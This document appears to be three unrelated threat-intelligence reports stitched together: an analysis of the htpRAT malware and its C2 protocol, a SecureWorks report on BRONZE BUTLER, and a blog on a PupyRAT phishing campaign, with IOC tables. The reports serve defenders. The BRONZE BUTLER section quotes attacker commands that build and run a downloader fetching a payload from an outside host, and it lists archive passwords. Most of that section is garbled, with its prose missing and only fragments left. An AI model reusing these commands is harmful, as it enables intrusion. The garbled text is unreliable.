c452cd2cc4c91b7da55e83b9eff46589 a80df73828b3397b5e120f3a3b3dee3cee2672aaa2ccb2134c68b2f fe13c0725 After decompressing the files, the winnet.exe file is executed. This file is a legitimate piece of software; it is a part of the F-Secure antivirus suite and used here because it is vulnerable to DLL side loading. The antivirus component normally loads code from a file called fsma32.dll, which on a normal system is also a component of the antivirus product, but due to the way it searches for this file and performs no verification of its legitimacy, a malicious version of fsma32.dll is started. The author calls this DLL windows based on the project PDB path still present: C:\Users\cool\Documents\Visual Studio 2010\Projects\windows\Release\windows.pdb The DLL loads the data file, also decompressed from the CAB file, decrypts it and loads the decrypted content into memory and executes it. The decrypted data content is, in fact, also a DLL file, the C:\Users\cool\Documents\Visual Studio 2010\Projects\dll\Release\dll.pdb fourthstage of the infection. The author calls this DLL based on the project PDB path still present left: C:\Users\cool\Documents\Visual Studio 2010\Projects\htpdll\Release\htpdll.pdb This fourth stage of the infection is quite simple. It starts a new svchost process and decrypts a fifth stage payload it internally has stored and injects this into the svchost process. This starts a remote thread inside the svchost process to run the injected code. This final payload and the fifth stage is called htpdll based on the project PDB path (this is where the name htpRAT comes from): The fifth stage is the final stage and contains the core of the RAT which communicates with the C2 server and executes the attacker s commands. Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Analysis of the htpRAT core At its core htpRAT is a simple and generically implemented RAT with some quite interesting implementations of its communication protocol, command execution and configuration storage systems. Persistence & storage Initially when htpRAT starts it creates a mutexes to ensure there is only one instance running. The name of the mutex can be used as an indicator on an active system, it is hard coded as: {3084ADEC-04CF-4981-B6A0-87DC5C385E24} It then obtains its local path in the appdata folder (which is %LOCALAPPDATA%\Microsoft\). This path is used to store a file called token.ini in which the system uptime (in milliseconds) is contained. The token.ini file is formatted using the INI format through the use of the GetPrivateProfileString and WriteProfileString functions of the WinAPI. htpRAT uses the following hardcoded information to structure its app and key names in the INI file. This can be used to filter out legitimate token.ini files, if encountered: {3084ADEC-04CF-4981-B6A0-87DC5C385E24} Once htpRAT has its INI file written, it sets a startup entry in the registry to ensure automatic startup when a system is rebooted. A key is created under: Software\\Microsoft\\Windows\\CurrentVersion\\Run Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN The keyname WindowsApp has the value of the wininit.exe binary location in the Microsoft subfolder in local appdata. Communication protocol htpRAT uses a custom communication protocol utilizing a JSON format internally which is encrypted and wrapped in HTTP requests. The base format of a request sent to the C2 server looks like this: command: content: mid: cid: Individually the field values contain the following: command: The type of action/command the request has data for in its content field. The two known values for this are: online: Set when the malware is polling the C2 server for new commands. (It also functions as an initial check-in; the client simply starts polling for commands on startup). When this value is set, the content field contains the following fields: tag: The campaign tag which is hardcoded. name: The computer name is obtained via a call to GetComputerName from the WinAPI. cmd: This value is seen when the client has executed commands as per instructions from the C2 server. When this value is set, the content field contains the result from executing the command obtained from the C2. Additionally the cid field contains a special command ID used for this command. content: The command field can contain a subset of different keywords that change the content of the content field. The field then contains the result provided by the operator on the C2 side as long as the command field is set to . Otherwise, when the command field is set to online this field contains the campaign tag and computer name as explained in the subsection above. The data in this field is base64 encoded when it is assigned to this field to retain any newlines / data, as it can contain arbitrary data from command execution results. mid: A unique machine ID based on the GetTickCount value, which is called the first the RAT ever runs. This function returns the amount of milliseconds the system has been up, this is used (in combination with the computer name) to identify a unique client. cid: The command ID either set to online when polling for new commands, or it is set to the command ID supplied by the C2. When a command is obtained from the C2, this command contains a special command ID supplied by the actor issuing the command. This command ID is replicated back to the C2 with the results of the requested command. The completed JSON object is, after being filled with the correct information, encrypted before being sent to the C2 through a HTTP POST request. The encryption of the POST data is done with a custom algorithm. A key is generated per request to the C2 server and is seeded through the return of the GetTickCount function. First a 10 character string is generated by picking 10 numbers at random. The pipe symbol | is added at the end of the string making the entire key 11 characters. The check-in JSON data is then XOR with the generated key. Then the data is prepared for the POST request as follows: Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN The key is XOR d with itself character by character: first character with the second, second with the third until the last character is hit which is XOR d with the first character again. The encrypted checkin data is prepended with the encrypted key and then encoded with base64. The first character of the plain XOR key is prepended in front of the base64 encoded data. This prepending of the first key of the XOR key allows the C2 server to calculate back the entire key and decrypt the data. To give a good example of this protocol, we can work it back from from a network capture of a victim checking in to the C2 server: The encrypted communication blob is: 5BQQECQ0FBwIDS0lOEldfVFlQWFAVRhdfWlxQWlQUGBdeVl9aRFxaRRQUDVwXVU16CW1mVV14FX9Ebl wR3h1fkIlYgFYeVB1B393fTlgAFxgb2J/cH1ZTAgSGBAbWVhSFhdGFRIFBQoCBAUGD14ZEBZTUFAT g4XXlpeWFlXURNL The first layer of the data is the first plaintext character of the XOR key followed by the base64 encoded and XOR d check-in data. We can split up like this: First character of the key: 5 Base64 encoded check-in data: BQQECQ0FBwIDS0lOEldfVFlQWFAVRhdfWlxQWlQUGBdeVl9aRFxaRRQUDVwXVU16CW1m V14FX9EblwR3h1fkIlYgFYeVB1B393fTlgAFxgb2J/cH1ZTAgSGBAbWVhSFhdGFRIFBQo BAUGD14ZEBZTUFATFg4XXlpeWFlXURNL First thing to do is decoding the XOR key out of the data. We decode the base64 data and grab the first 11 bytes. We XOR the first byte of this data with the first character we obtained from the check-in, this gives us the second character of the key. With the second character of the key we can XOR the third and so on. We continue this until we get the entire key back in plaintext, for the provided data above the key is: 5040941647| Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN In python extracting the key from the check-in data looks like this: We can, using the extracted key, decrypt the rest of the data with a simple XOR loop. Decrypted we end up with the following JSON data for this check-in: For its HTTP communication htpRAT uses a hardcoded user-agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 While not in use in this attack, htpRAT has an internal configuration which allows the operator to build htpRAT clients with any of the following: Proxy information (username, password, url) Arbitrary raw request headers and data Explicitly it has a field for the Cookie header WinHTTP request options (Timeouts) These options are visible when we reverse engineered the malware, but they were not put to use in this build of htpRAT. Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Execution of operator commands The design of htpRAT differs from common RATs. Most RATs feature a fixed set of commands that attackers can execute with different command IDs. For example, file download or file upload would both be unique functionalities of the RAT. htpRAT doesn t adhere to this structure. Instead, the malware creator decided to generalize this concept by having the RAT execute commands directly as provided from a C2 server. This means, for example, there is no specific function to get screenshots on the host; instead, on the C2 server side, the operator has a button which says Get Screenshot which simply generates a set of commands to execute through something like PowerShell to take a screenshot. This makes htpRat dynamic and, subject to change. Any new functionality the operators want they simply implement by wrapping commands on the C2 without having to update the htpRAT source code. Coincidentally, this also means we cannot give a fixed list of functionality for this RAT. Its functionality is completely dependent on what rights the RAT was able to obtain upon installation and what the operator wants to do. The way the execution of commands when the bot starts is implemented is as follows, : A separate command prompt process is started which can be communicated with via named pipes. Any incoming commands from the C2 are executed via the named pipes on the sub process. Results are read from the named pipe and communicated back to the C2 server. Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Infrastructure analysis Based on the analysis of the malware we know that qf.laoscript.org is the C2 host for this malware. The WHOIS data for this domain is quite interesting as the name John Durdin can be seen on multiple domains, but what stands out is the difference in email address used in the registrations. The following is a search on domain registrations for this name in PassiveTotal--most have the same email address, but one stands out. The email address is the registered domain: If we look more closely, we see that there is also a .NET domain for laoscript. The C2 domain is clearly registered to raise fewer suspicions by mimicking the other domain. It becomes even more clear when we see all the registration information was just copied if you compare laoscript.net and laoscript.org: The only thing the actor could not fake was the email address due to the fact that an email address must be used to activate the domain at the registrar. The use of the laoscript name is quite interesting as it Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN shows real active targeting. The real laoscript website is a piece of software that helps with the input of the Lao language text on computers which gives the actor good leverage for social engineering: Looking at the domain we can see it has been registered since 2014 which means this C2 domain has been under the control of the actor for at least two years. We can also see that in the past, the domain has been used in other attack campaigns as well which indicates there are more yet undiscovered victims. There are also two samples that connect to qf.laoscript.org which are not htpRAT, they are in fact variations of the well known PlugX malware: 5e0019485fbfa2796ec0f1315c678b4a3fb711aef5d97f42827c363ccd163f6d (First seen 2015-07-10) eeb34edec5fd04e6a44bf5c991eaf79c68432d4d0037b582bcd9062cc2b94c62 (First seen 2015-07-17) Both also use DLL side loading techniques but using a different antivirus product to leverage execution through. Still this means there s an active connection between the current actors with the new unknown htpRAT and where they in the past used PlugX. While we can only guess for reasons why this actor decided to develop their own tool instead of continuing to use PlugX, it seems it is at least a step up in terms of detection of the malware. PlugX was becoming quite common and easy to detect on both the network as well as file system level. Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Other activity by the actor using htpRAT Going through older samples connecting to the C2 domain for htpRAT, we mostly find a variety of PlugX samples. We also ran into the exploit activity by the group, ShadowServer, documented in their paper, The Italian Connection: An analysis of exploit supply chains and digital quartermasters. Page six describes the use of the HackingTeam leaked exploits by various groups. One interesting connection is a piece of malware called MyHNServer which is a packaged PlugX payload. This sample also connects to qf.laoscript.org and has quite an interesting PDB path: The first foldername is interesting; in context it translates to the elderly or brother group most likely referring to a more senior/experienced and respected group. If we correlate samples based on this PDB path, we get into some really interesting attacks. One other PDB path we can find based on the group s name is for another piece of malware called MyCL (sha256: 2fa07d41385c16b0f6ad32d12908db1743ca77db0b71e6cfd0fde76ef146e983): The first word means source code, and the second means victims. By itself the sample isn that interesting, although it isn t PlugX or htpRAT. It is interesting because of the C2 server used: data. dubkill.com . This domain has been widely used in other attacks in Vietnam as documented by BKav, a Vietnamese security company: http://genk.vn/internet/vu-gia-mao-email-ket-luan-thu-tuong-phat-hienbien-the-virus-bien-dong-2015060612185601.chn. Looking at the registration information for the dubkill domain, we can find an interesting link to a more recent government attack. The domain is registered to a person using the email address dubkill@163.com, this same email address was also used to register dcsvn.org which was used to imitate the official military domain in Vietnam. This attack was publicly documented by BKav (http://security.bkav.com/home/-/blogs/malware-attacking-vietnam-airlinesappears-in-many-other-agenci-1/normal?p_p_auth=DHFn7deT) and the Vietnamese government (http://e. gov.vn/theo-doi-ngan-chan-ket-noi-va-xoa-cac-tap-tin-chua-ma-doc-a-NewsDetails-37486-14-186.html). Additionally there is IP address overlap between dcsvn.org and laoscript.org in 2015. Following all these links over WHOIS, the shared domains and shared working paths reveals the adversary s web is wider and deeper than expected. While this report was solely written to inform about a new piece of malware used by this adversary this last section highlights the size and amount of operations. Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Indicator of Compromise While we mentioned some other C2 domains in this article, the IOCs listed below tie in directly with confirmed activity for htpRAT for the above detailed campaign. All those IOCs can also be obtained from the public PassiveTotal project which will be kept in sync with new developments: [%PT PROJECT%]. htpRAT Network IOCs: Domain qf.laoscript.org 128.199.245.204 htpRAT Filesystem IOCs: Filename SHA256 data 69d24b6fdc87af3a04318e1502e07977 0e2491e1f0e1467121b15b9d03b3fe73ac0a5aa85dc 949f8e627ed3848bdc68a fsma32.dll a58f3f9441b4ecc9a0e089578048756f 6cf1cff2e0d1b2d91c417f962a2623077b29318499f8e43e1e 6865ba1eefd234 winnet.exe c452cd2cc4c91b7da55e83b9eff46589 a80df73828b3397b5e120f3a3b3dee3cee2672aaa2ccb2134c68b2f fe13c072 2011.jpg a164a57e10d257caa1b6230153c05f5d ccfccbe54af2aec39a85d28b22614e2f43d084a2bcadeae75ca d488a8957d862 2011.jpg 01cddd0509d725c0ee732e2ef6109ecd 4b2f8cf7d6b2220cc17c66755564e68d3ab997af1ab3f47cbe 2fa79293b3d38c 2011.jpg 81b11c60b28a17c8a39503daf69e2f62 6b4f605e4cffce074e683f2ade409a56c318a34f1e4b6b0f15b582c 5c66b64e9 20160728. 5fa81da711581228763a7b7c74992cf8 593e13dca3ab6ce6358eec09669f69faef40f1e67069b08e0fe 3f8451aaf62ec 8001.exe, script.jpg, test.zip 417a608721e9924f089f9143a1687d97 c098cca96c124325d89b433816e6e7fd0b14c51b 287c254314f96560975f7864 ctfmon.jpg d5a9d5d1811c149769833ae1cd3b1aca ee1ea9df1f8d7aaa03a93692c1deab09e8d834d52e9d5971d013ed2 59d30229c APA list.xls f6d75257c086cd20ec94f4f146676c6e f2e7106b9352291824b1be60d6772c29a45269d4689c2733d9eef a0a88eeff89 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN htpRAT Miscellaneous IOCs: Description Value INI key name {80478813-B963-4C21-953E-D51544A1863B} Runtime mutex {3084ADEC-04CF-4981-B6A0-87DC5C385E24} Useragent Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 Registry startup keyname WindowsApp qf.laoscript.org 128.199.245.204 Additional IOCs related to the Other activity by the htpRAT group section are listed below. These contain a raw dump of observed samples, domains and IPs. This last set of IOCs is not tracked in the public PT project linked above. Also keep in mind there is a substantial amount of historical IP addresses for the domains in the list below which aren t related to current activity. They are only shone in combination with the adjoining domain names. This section is quite raw and unstructured: the only connection is through shared infrastructure from the htpRAT campaign. Additional network IOCs: Description 91.109.29.115 download.laokey.com 103.193.4.164 43.249.38.250 ftp.laokey.com 91.109.29.115 128.199.245.204 103.193.4.164 laokey.com 43.249.38.250 128.199.245.204 43.249.38.250 mysqlupdate.hopto.org 80.255.3.101 91.109.29.115 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Description 103.193.4.164 86.106.131.12 43.249.38.250 91.109.29.115 la.laoscript.org 128.199.245.204 116.251.223.148 27.255.94.75 216.158.86.233 191.101.242.101 download.laoscript.org 119.59.123.114 115.84.101.75 (IP address for the MOFA of Laos, the server wasn t compromised as far as we know) image.laoscript.org 116.251.223.212 119.59.123.114 119.59.123.58 61.195.97.204 la.proxyme.net 128.199.245.204 128.199.89.28 Additional filesystem IOCs: Filename SHA256 favicon.ico 27b318e103985fb4872ea92df1d2f35a 56c3909c19e9fb934ef6d1f73fbfe3d05935933c0c071fc23ad ce05d545b8965 fb7376074cd98d2ac9d957cba73d054e 5e0019485fbfa2796ec0f1315c678b4a3fb711aef5d97f42827c 363ccd163f6d 863f83f72b2a089123619465915d69f5 e7264a8ed7ed9145e6cdbcfe55e9a0d00f4df70becb62a83496c 34548c5c7bdf Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN For a full, continuously updated list of IOCs related to htpRAT, visit the RiskIQ Community Public Project here: https://community.riskiq.com/projects/521b4b80-1f00-c485-ba1d-70fa223a1933 Learn how RiskIQ could help protect your digital presence by scheduling a demo today. RiskIQ is the leader in digital threat management, providing the most comprehensive discovery, intelligence, and mitigation of threats associated with an organization digital presence. With more than 75 percent of attacks originating outside the firewall, RiskIQ allows enterprises to gain unified insight and control over web, social, and mobile exposures. Trusted by thousands of security analysts, RiskIQ platform combines advanced internet data reconnaissance and analytics to expedite investigations, understand digital attack surfaces, assess risk, and take action to protect business, brand, and customers. Based in San Francisco, the company is backed by Summit Partners, Battery Ventures, Georgian Partners, and MassMutual Ventures. 22 Battery Street, 10th Floor San Francisco, CA. 94011 sales@riskiq.net RiskIQ.com 1 888.415.4447 @RiskIQ 2017 RiskIQ, Inc. All rights reserved. RiskIQ is a registered trademark and Digital Footprint is a trademark of RiskIQ, Inc. in the United States and other countries. All other trademarks contained herein are property of their respective owners. 10_17 BRONZE BUTLER June 23, 2017 Security & Risk Consulting Counter Threat Unit Copyrights and Trademarks 2017 SecureWorks, Inc. All rights reserved. Trademarks and trade names may be used in this document to refer to either the entities claiming the marks and names or their products. SecureWorks and its affiliates disclaim responsibility for errors or omissions in typography or photography. SecureWorks and its affiliates terms and conditions of sale apply. A printed hard copy of SecureWorks terms and conditions of sale is available upon request. 2017 SecureWorks Inc. All rights reserved. SecureWorks SecureWorks SecureWorks .................................................................................................. 1 BRONZE BUTLER ....................................................... 2 BRONZE BUTLER ............................................................................ 2 BRONZE BUTLER ........................................................................... 2 .......................................................................................... 2 BRONZE BUTLER ..................................................................... 3 ..................................................................................... 3 ............................................................... 3 ...................................................................................... 3 ....................................................................................... 3 ................................................................................. 4 ....................................................................................... 4 BRONZE BUTLER ................................................................. 5 ........................................................................................... 5 ................................................................................................ 6 4.2.1 SKYSEA Client View .................................................................................... 7 4.3.1 ............................................................................. 7 4.3.2 RAT.................................................................................... 7 ............................................................................................. 9 4.4.1 ............................................ 9 4.4.2 ............................................. 10 4.4.3 .............................................................................. 11 .............................................................................. 12 4.5.1 ............................................................................. 12 4.5.2 ....................................................................... 14 ............................................................................................. 14 .................................................. 15 ....................................... 15 5.1.1 ............................................... 15 5.1.2 ............................................................... 16 5.1.3 ...................................................... 16 5.1.4 ........................................................ 16 5.1.5 ............................................... 17 5.1.6 ................................................................................ 17 5.1.7 Windows ......................................................... 18 5.1.8 ......................................................... 18 5.1.9 Active Directory ........................................................ 18 5.1.10 SKYSEA Client View ......................................................... 19 5.1.11 ................................... 19 ........................... 19 5.2.1 .................................. 19 5.2.2 ................................................................................ 19 5.2.3 ......................................................................... 20 5.2.4 ................................................. 20 ................................................................................................. 21 Appendix A: ................................................................. 22 HTTP ......................................................................................... 22 ......................................................................... 23 .................................................................... 23 ....................................................................................... 24 ........................................................................................ 24 SecureWorks Japan SecureWorks SecureWorks 2012 2016 2015 Emdivi http://www.nenkin.go.jp/oshirase/topics/2015/0104.html Active Directory SecureWorks https://www.secureworks.jp/capabilities/incident-response/incidentmanagement/targeted-threat-hunting AETD Red Cloak https://www.secureworks.jp/capabilities/managed-security/endpointsecurity/red-cloak AMPD https://www.secureworks.jp/capabilities/managed-security/networksecurity/advanced-malware-protection Page 1 BRONZE BUTLER 2.1 BRONZE BUTLER SecureWorks Counter Threat Unit BRONZE BUTLER BRONZE BUTLER 2016 BRONZE BUTLER - Security Response: Tick https://www.symantec.com/connect/nl/blogs/tick?page=1 - CYBER GRID VIEW: https://www.lac.co.jp/lacwatch/report/20160802_000385.html SecureWorks BRONZE BUTLER 2.2 BRONZE BUTLER BRONZE BUTLER 2.3 BRONZE BUTLER SecureWorks 3. BRONZE BUTLER 3.1 3.2 3.3 3.4 Page 3 3.5 3.6 4. BRONZE BUTLER Source: SecureWorks Page 5 2015 Flash Player 2017 C:\Intel\Logs>pt.exe 172.16.xx.xx 52300 target ip :172.16.xx.xx target port :52300 connect success 2016/06/xx xx:xx:xx:244 ExecMacroThread.cpp 1304:1500 2016/06/xx xx:xx:xx:384 ExecMacroThread.cpp 1304:1500 App=C:\Program Files\Sky Product\SKYSEA Client View\tmp\00000001.BIN, PID=6251 4.3 RAT RAT PowerShell VBS VBE HTTP RAT RAT 50MB 100MB RAT 50MB SecureWorks Const ForAppending = 8 set objTextFile = fso.OpenTextFile (s1, ForAppending, True) do objTextFile.WriteLine("000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000") i=i+1 if i=524288 then exit do end if loop objTextFile.Close RAT RAT Daserf URL RAT 2015 Page 7 Datper URL RAT Daserf xxmm URL RAT Daserf Datper Minzen HTTP HTTP 1 RAT HTTP Daserf POST Daserf POST Datper POST xxmm POST Daserf Datper URL xxmm AES RAT Internet Explorer Internet Explorer SecureWorks RAT Datper xxmm 2 RAT Source: SecureWorks SecureWorks xxmm BRONZE BUTLER RAT 3 xxmm Source: SecureWorks 4.4 BRONZE BUTLER Windows o net, ping, at, schtasks, systeminfo Page 9 o Mimikatz o WCE (Windows Credential Editor) o gsecdump T-SMB o WinRAR Windows RAR WinRAR do.cs do.exe c:\PerfLogs\Admin>echo using System.Net; >do.cs c:\PerfLogs\Admin>echo namespace downloader >>do.cs c:\PerfLogs\Admin>echo { >>do.cs && echo class Program >>do.cs && echo { >> do.cs c:\PerfLogs\Admin>echo static void Main(string[] args) >>do.cs && echo { >>do.cs && echo WebClient client = new WebClient(); >>do.cs c:\PerfLogs\Admin>echo string URLAddress = @""http://bulgaria-ecotour.c om/img/a0.gif""; >>do.cs c:\PerfLogs\Admin>echo string receivePath = @""C:\perflogs\admin\""; >> do.cs c:\PerfLogs\Admin>echo client.DownloadFile(URLAddress, receivePath + Sy stem.IO.Path.GetFileName >>do.cs && echo (URLAddress)); >>do.cs && echo } >>do.cs && echo } >>do.cs && echo } >>do.cs c:\PerfLogs\Admin>cd \ c:\>dir csc.exe /s c:\>cd c:\Windows\Microsoft.NET\Framework\v3.5 c:\Windows\Microsoft.NET\Framework\v3.5>csc.exe /out:c:\perflogs\admin\do.exe c:\pe rflogs\admin\do.cs c:\Windows\Microsoft.NET\Framework\v3.5>cd c:\perflogs\admin\ && do.exe %TEMP% DELL, HP, Intel BRONZE BUTLER Mimikatz WCE Windows Credential Editor Mimikatz [by Source: SecureWorks Active Directory (KRBTGT) TGT bgtras bgtrs kkir kisetr netkin orumls wert (KRBTGT) BRONZE BUTLER ping net RAT [by Source: SecureWorks BRONZE BUTLER schtasks net use copy net time schtasks Page 11 RAT zrun.bat [by Source: SecureWorks [by Source: SecureWorks schtasks C:\Users\user01\AppData\Local\Temp\msupdat> move 2016xxxx.exe \\192.168.0.1\d$\ .exe 4.5 BRONZE BUTLER RAT RAT RAR > r.dat x qscr.rar RAR 3.70 Copyright (c) 1993-2007 Alexander Roshal Shareware version Type RAR -? for help 22 May 2007 Extracting from qscr.rar Extracting 20160712-ssd.txt ( > r.dat a -v500K -hp1qazxsw2 ta @20160712-ssd.txt RAR 3.70 Copyright (c) 1993-2007 Alexander Roshal Shareware version Type RAR -? for help 22 May 2007 r.dat WinRAR RAR 500k 1qazxsw2 20160712-ssd.txt SecureWorks BRONZE BUTLER 1234qwer 1234qwer! 1234$%qwer 1qazxsw2 1qazxcde32ws Page 13 RAR BRONZE BUTLER RAR HTTP POST URL RAR Datper xxmm Datper xxmm 2017 30 USB SecureWorks BRONZE BUTLER https://www.npa.go.jp/cyberpolice/detect/pdf/20170330.pdf 4.6 BRONZE BUTLER RAR del BRONZE BUTLER BRONZE BUTLER BRONZE BUTLER 5.1 JPCERT SecureWorks CSIRT Computer Security Incident Response Team / www.nca.gr.jp CSIRT JPCERT Page 15 SecureWorks BRONZE BUTLER HTTP Windows Windows SecureWorks GET Squid GET DHCP IP Windows NTLM Kerberos Microsoft Sysmon BRONZE BUTLER Sysmon Windows Sysmon Sysmon https://technet.microsoft.com/en-us/sysinternals/sysmon.aspx BRONZE BUTLER Appendix A: URL User Agent BRONZE BUTLER SKYSEA Client View Active Directory BRONZE BUTLER Windows BRONZE BUTLER SecureWorks AETD Red Cloak https://www.secureworks.jp/capabilities/managed-security/endpointsecurity/red-cloak AMPD https://www.secureworks.jp/capabilities/managed-security/networksecurity/advanced-malware-protection Page 17 net ping schtasks Windows Windows Windows (2015-12-02) https://www.jpcert.or.jp/magazine/acreport-wincommand.html BRONZE BUTLER Active Directory BRONZE BUTLER Active Directory 2017 14 JPCERT Active Directory Active Directory Active Directory http://www.jpcert.or.jp/research/AD.html SKYSEA Client View SKYSEA IP SKYSEA Client View Windows Firewall IP NAPT 5.2 5.1 JPCERT C2 Daserf Datper xxmm BRONZE BUTLER Active Directory Page 19 SecureWorks https://www.secureworks.jp/capabilities/incident-response/incidentmanagement/targeted-threat-hunting Daserf Datper xxmm Kerberos JPCERT Active Directory krbtgt Silver Active Directory http://www.jpcert.or.jp/research/AD.html BRONZE BUTLER BRONZE BUTLER BRONZE BUTLER Page 21 Appendix A: BRONZE BUTLER JPCERT BRONZE BUTLER HTTP URL SecureWorks Appendix Gofarer Daserf URL http://< >.php http://< >.gif http://< >.asp http://< >.php?id=<8 16 >&<4 Mozilla/4.0+(compatible;+MSIE+ 8.0;+Windows+NT +6.1;+Trident/4.0;+SLCC2;+.NET +CLR+2.0.50727; +.NET4.0E) Mozilla/4.0 (compatible; MSIE 8. 0; Windows NT 6.0; SV1) >=.php?< >=<16 16 http://< >.php?< >=<16 16 Base64 xxmm http://< >.php?t0=<8 16 >&t1=< 2=<8 16 &t3=< >&t6=< http://< >.php?id0=<8 16 >&id1=< id2=<8 16 &id3=< >&id6=< http://< >.php?idcard0=<8 16 >&idcard1 >&idcard2=<8 16 &idcard3=< >&idcard6=< http://< >.php?item0=<8 16 >&item1=< >&item2=<8 16 &item3=< >&item6=< http://< >.php?ps0=<8 16 >&ps1=< &ps2=<8 16 &ps3=< >&ps6=< http://< >.php?h=<8 16 >&o=< >&w= 16 &a=< >&y=< http://< >/id0/<8 16 >/id1/< >/id2/ 16 /id3/< >/id6/< http://< >l/logo-unix.php Mozilla/4.0 (compatible; MSIE 8. 0; Windows NT 6.0; SV1) BRONZE BUTLER HTTP URL SecureWorks Appendix BRONZE BUTLER dat C:\Intel\IntelUpdata.exe C:\Intel\Logs\hlog.exe C:\Intel\Logs\IntelLogSrv.exe C:\Intel\ExtremeGraphics\CUI\a.dat C:\PerfLogs\Admin\PerfLogs.exe C:\Program Files\Adobe\Reader 11.0\Reader\adobe.exe C:\Program Files\Adobe\Reader 9.0\Reader\Readersl.exe C:\Program Files\Common Files\Java\Java Update\jusctray.exe C:\Program Files\Common Files\Justsystem\JustOnlineUpdate\JustsystemUpdate.exe C:\Program Files\Common Files\Microsoft Shared\TRANSLAT\MSBlESAD.VBE C:\Program Files\CONEXANT\SAII\urllog.vbe C:\Program Files\Internet Explorer\jsExport.exe C:\Program Files\Internet Explorer\ieupset.exe C:\Program Files\NVIDIA Corporation\nview\nvwrsc.exe C:\Program Files\Windows NT\logonslmon.exe C:\Program Files\Windows NT\usermd.exe C:\Windows\system32\AdoRdUPD.exe C:\Windows\system32\hwcomp.exe C:\Windows\system32\javamon.exe C:\Windows\system32\precui.exe C:\Windows\system32\reader.exe C:\Windows\system32\UACExec.exe %TEMP%\MMoevde.exe %TEMP%\ms<8 16 >.exe %TEMP%\msensi\ %TEMP%\plug\AvUpdate.exe >\msdtci.exe C:\Windows\system32\ SKYSEA Client View 00000001.BIN BRONZE BUTLER SKYSEA CtlCli.log Page 23 1304:1500 2016/06/xx xx:xx:xx:384 ExecMacroThread.cpp 1304:1500 gram Files\Sky Product\SKYSEA Client View\tmp\00000001.BIN, PID=6251 App=C:\Pro 2016/06/xx xx:xx:xx:244 ExecMacroThread.cpp Sysmon BRONZE BUTLER >.job C:\Windows\system32\ .bat .exe Daserf HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Curren tVersion\Explorer "MMID" = < 16 BRONZE BUTLER VBE HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Iranian PupyRAT Bites Middle Eastern Organizations secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations Threats & Defenses Customized phishing lures distribute PupyRAT malware. Wednesday, February 15, 2017 By: Counter Threat Unit Research Team SecureWorks Counter Threat Unit (CTU) researchers analyzed a phishing campaign that targeted a Middle Eastern organization in early January 2017. Some of messages were sent from legitimate email addresses belonging to several Middle Eastern organizations. Campaign details The threat actor used shortened URLs in the body of the phishing emails that redirected to several spoofed domains (See Table 1). Spoofed domain Legitimate domain Associated organization ntg-sa . com ntg . com . sa National Technology Group, a Saudi Arabian telecommunications company itworx . com-ho . me itworx . com ITWorx, an Egyptian information technology services firm mci . com-ho . me mci . gov . sa Saudi Ministry of Commerce moh . com-ho . me moh . gov . sa Saudi Ministry of Health mol . com-ho . me mol . gov . sa Saudi Ministry of Labor Table 1. Spoofed domains hosted on 45 . 32 . 186 . 33. (Source: SecureWorks) Recipients who clicked the URL were presented a Microsoft Office document related to the phishing theme (see Figures 1 and 2). Figure 1. Job offer lure (MD5: 43fad2d62bc23ffdc6d301571135222c). (Source: SecureWorks) Figure 2. Ministry of Health lure (MD5: 1b5e33e5a244d2d67d7a09c4ccf16e56). (Source: SecureWorks) The downloaded document attempts to run a macro that then runs a PowerShell command. This command downloads two additional PowerShell scripts that install PupyRAT, an open-source remote access trojan (RAT). According to the developer, PupyRAT is a multi-platform (Windows, Linux, OSX, Android), multi-function RAT and post-exploitation tool mainly written in Python. CTU analysis confirms that PupyRAT can give the threat actor full access to the victim's system. Conclusion CTU analysis suggests this activity is related to Iranian threat actors closely aligned with or acting on behalf of the COBALT GYPSY threat group (formerly labeled Threat Group-2889). CTU researchers assess with high confidence that COBALT GYPSY is associated with Iranian government-directed cyber operations, and it has used tactics similar to this campaign: targeting Saudi financial, oil, and technology organizations using job-themed lures to infect systems registering spoofed domains spearphishing new victims using legitimate email addresses This campaign highlights the need for organizations to educate users about the risks of spearphishing and shortened links. CTU researchers recommend that organizations disable macros in Microsoft Office products to prevent attacks that leverage this functionality. Organizations should also incorporate advanced malware prevention technology and endpoint threat detection tools as part of their mitigation strategies. Threat indicators The indicators in Table 2 are associated with the PupyRAT campaign. The IP addresses and domains may contain malicious content, so consider the risks before opening them in a browser. Indicator Type Context ntg-sa . com Domain name Attacker-controlled spoofed website itworx . com-ho . me Domain name Attacker-controlled spoofed website mci . com-ho . me Domain name Attacker-controlled spoofed website moh . com-ho . me Domain name Attacker-controlled spoofed website mol . com-ho . me Domain name Attacker-controlled spoofed website 45 . 32 . 186 . 33 address Hosting spoofed domains used in PupyRAT phishing campaign 139 . 59 . 46 . 154 Address Hosting PowerShell stages of PupyRAT download 89 . 107 . 62 . 39 Address PupyRAT command and control server 43fad2d62bc23ffdc6d301571135222c hash Job-themed Word document lure (qhtma) delivering PupyRAT 735f5d7ef0c5129f0574bec3cf3d6b06b052744a SHA1 hash Job-themed Word document lure (qhtma) delivering PupyRAT e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6 SHA256 hash Job-themed Word document lure (qhtma) delivering PupyRAT 1b5e33e5a244d2d67d7a09c4ccf16e56 hash Ministry of Health lure (Health_insurance_registration.doc) delivering PupyRAT 934c51ff1ea00af2cb3b8465f0a3effcf759d866 SHA1 hash Ministry of Health lure (Health_insurance_registration.doc) delivering PupyRAT 